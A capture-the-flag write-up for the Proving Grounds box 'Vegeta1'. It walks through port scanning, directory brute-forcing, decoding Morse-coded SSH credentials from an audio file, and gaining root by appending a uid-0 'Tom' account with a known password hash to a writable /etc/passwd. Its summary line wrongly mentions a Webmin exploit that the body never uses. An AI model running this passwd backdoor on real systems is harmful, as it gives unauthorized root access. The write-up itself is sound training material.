# Vegeta1 Writeup - Proving Grounds

> Boot2root Linux box exploiting Webmin vulnerability for initial foothold, then leveraging SUID binary or misconfigurations for root privilege escalation.

- **URL:** https://hackindex.io/writeups/vegeta1
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://portal.offsec.com/machine/vegeta1-314/overview
- **Tags:** privilege-escalation, suid, information-disclosure
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 4 min read
- **Published:** 2026-02-23
- **Updated:** 2026-09-11

## Reconnaissance

We start the box with a full Nmap scan with:

```bash
scan_tcp_full $TARGET_IP
# [+] Discovering all open TCP ports...
# Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-15 20:28 +0100
# Nmap scan report for $TARGET_IP
# Host is up (0.024s latency).
# Not shown: 65533 closed tcp ports (reset)
# PORT   STATE SERVICE
# 22/tcp open  ssh
# 80/tcp open  http
#
# Nmap done: 1 IP address (1 host up) scanned in 9.32 seconds
# [+] Parsing open TCP ports...
# [+] Running scripts & versions on TCP ports: 22,80
# Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-15 20:28 +0100
# Nmap scan report for $TARGET_IP
# Host is up (0.019s latency).
#
# PORT   STATE SERVICE VERSION
# 22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
# | ssh-hostkey: 
# |   2048 1f:31:30:67:3f:08:30:2e:6d:ae:e3:20:9e:bd:6b:ba (RSA)
# |   256 7d:88:55:a8:6f:56:c8:05:a4:73:82:dc:d8:db:47:59 (ECDSA)
# |_  256 cc:de:de:4e:84:a8:91:f5:1a:d6:d2:a6:2e:9e:1c:e0 (ED25519)
# 80/tcp open  http    Apache httpd 2.4.38 ((Debian))
# |_http-title: Site doesn't have a title (text/html).
# |_http-server-header: Apache/2.4.38 (Debian)
# Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
#
# Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done: 1 IP address (1 host up) scanned in 12.16 seconds
```

Doing some quick checks at http://$TARGET_IP/robots.txt, reveals us:

```
*
/find_me
```

## Enumeration

Doing a directory on this web app reveals us:

```bash
gobuster -t 100 dir -e -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://$TARGET_IP -x php
# ===============================================================
# Gobuster v3.0.1
# by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
# ===============================================================
# [+] Url:            http://$TARGET_IP
# [+] Threads:        100
# [+] Wordlist:       /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
# [+] Status codes:   200,204,301,302,307,401,403
# [+] User Agent:     gobuster/3.0.1
# [+] Extensions:     php
# [+] Expanded:       true
# [+] Timeout:        10s
# ===============================================================
# 2020/07/19 21:13:53 Starting gobuster
# ===============================================================
# http://$TARGET_IP/login.php (Status: 200)
# http://$TARGET_IP/img (Status: 301)
# http://$TARGET_IP/image (Status: 301)
# http://$TARGET_IP/admin (Status: 301)
# http://$TARGET_IP/manual (Status: 301)
# http://$TARGET_IP/server-status (Status: 403)
# http://$TARGET_IP/bulma (Status: 301)
# ===============================================================
# 2020/07/19 21:19:10 Finished
# ===============================================================
```

The /bulma folder reveals us hahahaha.wav which we download like:

```bash
curl http://$TARGET_IP/bulma/hahahaha.wav -o hahahaha.wav   
#   % Total    % Received % Xferd  Average Speed  Time    Time    Time   Current
#                                  Dload  Upload  Total   Spent   Left   Speed
# 100 230.5k 100 230.5k   0      0  1.23M      0                              0
```

Listening to this audio file reveals its morse code which we can decode like:

```bash
multimon-ng -t wav -a MORSE_CW hahahaha.wav  
# multimon-ng 1.3.1
#   (C) 1996/1997 by Tom Sailer HB9JNX/AE4WA
#   (C) 2012-2024 by Elias Oenal
# Available demodulators: POCSAG512 POCSAG1200 POCSAG2400 FLEX FLEX_NEXT EAS UFSK1200 CLIPFSK FMSFSK AFSK1200 AFSK2400 AFSK2400_2 AFSK2400_3 HAPN4800 FSK9600 DTMF ZVEI1 ZVEI2 ZVEI3 DZVEI PZVEI EEA EIA CCIR MORSE_CW DUMPCSV X10 SCOPE
# Enabled demodulators: MORSE_CW
# USER : TRUNKS PASSWORD : US3R(S IN DOLLARS SYMBOL
```

This indicates that trunks user has password u$3r.

## Initial Access

When we use these credentials with SSH we get server access:

```bash
ssh trunks@$TARGET_IP
# Warning: Permanently added '$TARGET_IP' (ED25519) to the list of known hosts.
# ** WARNING: connection is not using a post-quantum key exchange algorithm.
# ** This session may be vulnerable to "store now, decrypt later" attacks.
# ** The server may need to be upgraded. See https://openssh.com/pq.html
# trunks@$TARGET_IP's password: 
# Linux Vegeta 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64
#
# The programs included with the Debian GNU/Linux system are free software;
# the exact distribution terms for each program are described in the
# individual files in /usr/share/doc/*/copyright.
#
# Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
# permitted by applicable law.
# trunks@Vegeta:~$ pwd
# /home/trunks
# trunks@Vegeta:~$ cat local.txt 
# [HIDDEN]
```

After looking around on the users his account some information can be found in .bash_history:

```bash
cat .bash_history 
# perl -le ‘print crypt(“Password@973″,”addedsalt”)’
# perl -le 'print crypt("Password@973","addedsalt")'
# echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd[/sh]
# echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd
# ls
# su Tom
# ls -la
# cat .bash_history 
# sudo apt-get install vim
# apt-get install vim
# su root
# cat .bash_history 
# exit
```

This shows us the user has been writing content to the /etc/passwd file.

## Privilege Escalation

We can test if we still have access to write to /etc/passwd like:

```bash
test -w /etc/passwd
echo $?
# 0
```

Showing us a 0 for success. This reveals to us that we can write to the /ect/passwd file.

When we rerun the previous commands from .bash_history we can login to Tom his account and read the /root/proof.txt:

```bash
echo "Tom:ad7t5uIalqMws:0:0:User_like_root:/root:/bin/bash" >> /etc/passwd
su Tom
# Password: Password@973
```

```bash
cat /root/proof.txt 
# [HIDDEN]
```

Related